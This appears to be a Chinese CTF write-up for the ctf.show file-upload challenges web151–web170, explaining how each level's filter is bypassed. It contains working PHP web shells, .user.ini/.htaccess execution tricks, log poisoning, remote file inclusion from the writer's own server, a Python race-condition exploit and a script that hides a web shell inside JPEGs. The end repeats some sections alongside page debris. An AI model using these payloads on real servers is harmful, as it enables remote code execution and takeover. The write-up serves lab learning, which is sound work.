web入门-文件上传_new

web入门-文件上传

web151

前端过滤,上传一个符合要求的文件,抓包修改内容后缀即可

web152

验证Content-Type,同前即可

web153

.user.ini绕过,通过/upload/index.php执行代码。(访问/upload目录下的其他文件都不能执行上传的php代码)

web154

同样是上传.user.ini访问/upload/index.php执行代码。但上传的文件中不能带有php,所以通过php短标签绕过

<?=eval($_GET["pass"])?>
web155

方法同154,增加了对文件大小的限制

web156

方法同155,增加了对[]的过滤所以不能使用$_GET[“pass”]形式的代码,换一种代码执行的方式

拿到flag的代码如下:

<? $arr=glob("/var/www/html/f*");$file=end($arr);highlight_file($file);?>
web157

方法同155,增加了对;的过滤换一种代码执行的方式

拿到flag的代码如下:

//找到flag的代码
<?=var_dump(scandir("/var/www/html/"))?>
//显示flag的代码
<?=highlight_file(end(glob("/var/www/html/f*")))?>

通过system好像更快
<?=system("cat /var/www/html/f*")?>
web158

用157题的方法即可

web159

还是上传.user.ini,这次连()也过滤了,

  1. 直接使用``进行代码执行

  2. 通过文件包含日志

    //因为过滤了log,我们需要通过.拼接日志路径
    <?=include "/var/l"."og/nginx/access.l"."og"?>
    显示出日志文件后进行日志文件包含即可
    
  3. 还可以远程文件包含,实现getshell

    //文件包含代码
    <?=include "个人服务器ip/1.txt"?>
    //1.txt文件内容
    <?php eval($_GET["pass"]);?>
    
web160

还是上传.user.ini,这次把``和空格也过滤了

  1. 日志包含依旧可以实现
  2. 远程文件包含也可以
web161

在前面的基础上加上文件头验证,我们需要加上GIF89a文件头

注意:如果仅插入文件头而后面不加入文件内容任然会报错

web162

这题连点号都过滤了。

绕过方法1:

测试发现sesssion默认的存放路径为/tmp,所以我们可以通过利用session.upload_progress进行文件包含。流程如下

  1. 上传.user.ini文件,在上传目录下包含3文件

  2. 上传3文件,内容为文件包含/tmp/sess_gogo

  3. 运行脚本在/tmp目录下写入sess_gogo,在内容被删除前访问http://xxxx/upload/index.php进行包含获得数据,脚本代码如下

    #coding=utf-8
    import io
    import requests
    import threading
    sessid = 'gogo'
    data = {"cmd":"readfile('/var/www/html/flag.php');"}
    judge = 1
    def write(session):
        global judge
        while judge:
            f = io.BytesIO(b'a' * 1024 * 50)
            #写入sess_gogo内容模块
            resp = session.post( 'http://93d663e8-0b55-42d7-9ffd-63ba1f5b4587.challenge.ctf.show/upload/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('gogo.txt',f)}, cookies={'PHPSESSID': sessid} )
    def read(session):
        global judge
        while judge:
            #条件竞争读取数据模块
            resp = session.post('http://93d663e8-0b55-42d7-9ffd-63ba1f5b4587.challenge.ctf.show/upload/index.php',data=data)
            if 'gogo.txt' in resp.text:
                print(resp.text)
                judge = 0
                break
            else:
                print("[+++++++++++++]retry")
    if __name__=="__main__":
        event=threading.Event()
        with requests.session() as session:
            for i in range(1,10):
                threading.Thread(target=write,args=(session,)).start()
            for i in range(1,10):
                threading.Thread(target=read,args=(session,)).start()
    

绕过方法2:(未成功验证)

在网上看到的方法虽然没有成功验证,但也拓展了思路

虽然这里过滤了点好,但将ip地址转化为10进制任然可以被解析,将我们服务器的公网ip转化为10进制,再远程文件包含即可

测试的时候发现通过浏览器访问10进制的远程ip可以解析。当通过include却解析不到了,怀疑是哪里的设置问题

绕过方法3:~取反

将我们要文件包含的文件目录进行取反,写入需要上传的文件"3"中,通过include~…即可实现绕过

制作上传文件的脚本如下:

<?php
//使用远程文件包含或者日志文件包含,目录同前
$file="http://xxxxxxx/1";
//或者$file=”/var/log/nginx/access.log"进行日志文件包含
$myfile = fopen("C:/Users/zls/Desktop/3", "w");
fwrite($myfile,"GIF89a\n<?=include~".~$file."?>");
//我的个人服务器上的http://xxxxxxx/1文件内容为
<?php
eval($_GET["pass"]);
?>

然后上传该文件

访问/index.php,成功实现远程文件包含

web163

本题依旧采取上一题的绕过方法3:~取反

发现上传.user.ini成功

上传文件"3"虽然成功,但解析的时候却包含不到

怀疑文件"3"被删除

采取条件竞争的方式在删除前访问http://xxx/upload/index.php?pass=readfile(“/var/www/html/flag.php”);得到flag

web164

对图片的要求越来越高检查越来越严格,一般的插入图片已经没有用了

我们对图片进行隐写

上传

触发

web165

这题是jpg的二次渲染绕过题目。

通过网上公开的脚本,我们可以生成绕过二次渲染的jpg图片。

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=eval(\$_POST[1]);?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

注意点:

  1. 先上传没有夹带代码的图片,然后下载二次渲染后的图片,对该图片实行上述脚本(减少需要二次渲染的量可以增加成功率)
  2. 图片的选择会影响成功率
  3. 执行代码的选择也会影响成功率(如果返回报错,就说明代码部分绕过二次渲染被识别了,多尝试不同图片和代码)

web166

限制上传zip文件,我们上传zip文件并在最后加上php后门代码通过文件包含漏洞即可得到解析

通过zip://伪协议也可触发压缩文件中的代码

web167

.htaccess上传漏洞

先上传.htaccess文件内容为

Sethandler application/x-httpd-php

然后上传任意后缀文件,会被当作php文件执行

web168

没有任何过滤,上传php代码访问即可

web169

前端要求上传zip文件,后端验证Content-Type:要为 image/png。在内容上过滤php <> ?等,基本上不可能直接写php代码,我们考虑使用.user.ini包含日志文件,通过日志写入php代码

.user.ini内容:auto_prepend_file=/var/log/nginx/access.log

然后我们随便上传一个php后缀文件,user-agent:http头中写入我们想要执行的代码,访问该文件即可触发.user.ini中对日志文件的包含

web170

与web169同样的做法即可

h7wuFnL-1697290638811)]

web168

没有任何过滤,上传php代码访问即可

[外链图片转存中…(img-pYsVYDnE-1697290638811)]

web169

前端要求上传zip文件,后端验证Content-Type:要为 image/png。在内容上过滤php <> ?等,基本上不可能直接写php代码,我们考虑使用.user.ini包含日志文件,通过日志写入php代码

.user.ini内容:auto_prepend_file=/var/log/nginx/access.log

然后我们随便上传一个php后缀文件,user-agent:http头中写入我们想要执行的代码,访问该文件即可触发.user.ini中对日志文件的包含

[外链图片转存中…(img-45KV6l0s-1697290638811)]

web170

与web169同样的做法即可

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值